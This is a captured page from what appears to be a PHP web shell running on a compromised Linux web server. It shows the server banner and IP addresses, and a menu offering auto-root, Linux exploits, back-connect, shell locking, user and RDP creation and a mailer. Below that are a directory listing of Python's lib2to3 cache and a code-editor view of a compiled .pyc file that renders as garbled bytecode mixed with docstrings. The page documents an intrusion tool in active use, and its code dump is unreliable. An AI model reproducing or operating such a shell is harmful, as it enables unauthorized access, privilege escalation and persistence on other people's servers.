Linux hermes.alfaserver.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Apache
: 5.189.182.135 | : 216.73.216.28
36 Domain
8.4.14
begrecagr
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python3.9 /
lib2to3 /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-39.opt-1.pyc
302
B
-rw-r--r--
__init__.cpython-39.opt-2.pyc
302
B
-rw-r--r--
__init__.cpython-39.pyc
302
B
-rw-r--r--
__main__.cpython-39.opt-1.pyc
215
B
-rw-r--r--
__main__.cpython-39.opt-2.pyc
215
B
-rw-r--r--
__main__.cpython-39.pyc
215
B
-rw-r--r--
btm_matcher.cpython-39.opt-1.p...
4.76
KB
-rw-r--r--
btm_matcher.cpython-39.opt-2.p...
3.23
KB
-rw-r--r--
btm_matcher.cpython-39.pyc
4.76
KB
-rw-r--r--
btm_utils.cpython-39.opt-1.pyc
6
KB
-rw-r--r--
btm_utils.cpython-39.opt-2.pyc
4.53
KB
-rw-r--r--
btm_utils.cpython-39.pyc
6
KB
-rw-r--r--
fixer_base.cpython-39.opt-1.py...
6.11
KB
-rw-r--r--
fixer_base.cpython-39.opt-2.py...
3.42
KB
-rw-r--r--
fixer_base.cpython-39.pyc
6.11
KB
-rw-r--r--
fixer_util.cpython-39.opt-1.py...
11.88
KB
-rw-r--r--
fixer_util.cpython-39.opt-2.py...
9.77
KB
-rw-r--r--
fixer_util.cpython-39.pyc
11.88
KB
-rw-r--r--
main.cpython-39.opt-1.pyc
8.47
KB
-rw-r--r--
main.cpython-39.opt-2.pyc
6.76
KB
-rw-r--r--
main.cpython-39.pyc
8.49
KB
-rw-r--r--
patcomp.cpython-39.opt-1.pyc
5.26
KB
-rw-r--r--
patcomp.cpython-39.opt-2.pyc
4.77
KB
-rw-r--r--
patcomp.cpython-39.pyc
5.47
KB
-rw-r--r--
pygram.cpython-39.opt-1.pyc
1.23
KB
-rw-r--r--
pygram.cpython-39.opt-2.pyc
1.03
KB
-rw-r--r--
pygram.cpython-39.pyc
1.23
KB
-rw-r--r--
pytree.cpython-39.opt-1.pyc
23.12
KB
-rw-r--r--
pytree.cpython-39.opt-2.pyc
14.62
KB
-rw-r--r--
pytree.cpython-39.pyc
23.73
KB
-rw-r--r--
refactor.cpython-39.opt-1.pyc
20.13
KB
-rw-r--r--
refactor.cpython-39.opt-2.pyc
16.18
KB
-rw-r--r--
refactor.cpython-39.pyc
20.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : btm_matcher.cpython-39.pyc
a XC?h� � @ sl d Z dZddlZddlZddlmZ ddlmZ ddlm Z G dd � d e �Z G d d � d e �Z i a d d � ZdS )a� A bottom-up tree matching algorithm implementation meant to speed up 2to3's matching process. After the tree patterns are reduced to their rarest linear path, a linear Aho-Corasick automaton is created. The linear automaton traverses the linear paths from the leaves to the root of the AST and returns a set of nodes for further matching. This reduces significantly the number of candidate nodes.z+George Boutsioukis <gboutsioukis@gmail.com>� N)� defaultdict� )�pytree)� reduce_treec @ s e Zd ZdZe�� Zdd� ZdS )�BMNodez?Class for a node of the Aho-Corasick automaton used in matchingc C s" i | _ g | _ttj�| _d| _d S )N� )�transition_table�fixers�nextr �count�id�content��self� r �+/usr/lib64/python3.9/lib2to3/btm_matcher.py�__init__ s zBMNode.__init__N)�__name__� __module__� __qualname__�__doc__� itertoolsr r r r r r r s r c @ s8 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d � Zd S ) � BottomMatcherzgThe main matcher class. After instantiating the patterns should be added using the add_fixer methodc C s0 t � | _t� | _| jg| _g | _t�d�| _d S )NZRefactoringTool) �set�matchr �rootZnodesr �logging� getLogger�loggerr r r r r s zBottomMatcher.__init__c C sH | j �|� t|j�}|�� }| j|| jd�}|D ]}|j �|� q2dS )z�Reduces a fixer's pattern tree to a linear path and adds it to the matcher(a common Aho-Corasick automaton). The fixer is appended on the matching states and called when they are reached��startN)r �appendr Z pattern_treeZget_linear_subpattern�addr )r �fixerZtreeZlinear� match_nodesZ match_noder r r � add_fixer% s zBottomMatcher.add_fixerc C s� |s |gS t |d t�r`g }|d D ]6}| j||d�}|D ] }|�| �|dd� |�� q:q$|S |d |jvr�t� }||j|d < n|j|d }|dd� r�| j|dd� |d�}n|g}|S dS )z5Recursively adds a linear pattern to the AC automatonr r r N)� isinstance�tupler" �extendr r )r �patternr r$ � alternativeZ end_nodes�endZ next_noder r r r" 1 s" zBottomMatcher.addc C s� | j }tt�}|D ]�}|}|rd|_|jD ]$}t|tj�r*|jdkr*d|_ qPq*|j dkrb|j}n|j }||j v r�|j | }|j D ]}|| � |� q�nH| j }|j dur�|j jr�q||j v r�|j | }|j D ]}|| � |� q�|j }qq|S )au The main interface with the bottom matcher. The tree is traversed from the bottom using the constructed automaton. Nodes are only checked once as the tree is retraversed. When the automaton fails, we give it one more shot(in case the above tree matches as a whole with the rejected leaf), then we break for the next leaf. There is the special case of multiple arguments(see code comments) where we recheck the nodes Args: The leaves of the AST tree to be matched Returns: A dictionary of node matches with fixers as the keys T�;Fr N)r r �listZ was_checkedZchildrenr& r ZLeaf�value�typer r r! �parent) r ZleavesZcurrent_ac_node�resultsZleafZcurrent_ast_node�childZ node_tokenr# r r r �runS s8 � zBottomMatcher.runc s* t d� � fdd�� � | j� t d� dS )z<Prints a graphviz diagram of the BM automaton(for debugging)z digraph g{c sZ | j �� D ]J}| j | }td| j|jt|�t|j�f � |dkrLt|j� � |� q d S )Nz%d -> %d [label=%s] //%sr )r �keys�printr � type_repr�strr r )ZnodeZ subnode_keyZsubnode�� print_noder r r9 � s � z*BottomMatcher.print_ac.<locals>.print_node�}N)r5 r r r r8 r �print_ac� s zBottomMatcher.print_acN) r r r r r r% r" r3 r; r r r r r s "8r c C sD t s8ddlm} |j�� D ] \}}t|�tkr|t |< qt �| | �S )Nr )�python_symbols)� _type_reprsZpygramr< �__dict__�itemsr/ �int� setdefault)Ztype_numr< �name�valr r r r6 � s r6 )r � __author__r r � collectionsr r r Z btm_utilsr �objectr r r= r6 r r r r �<module> s
Close
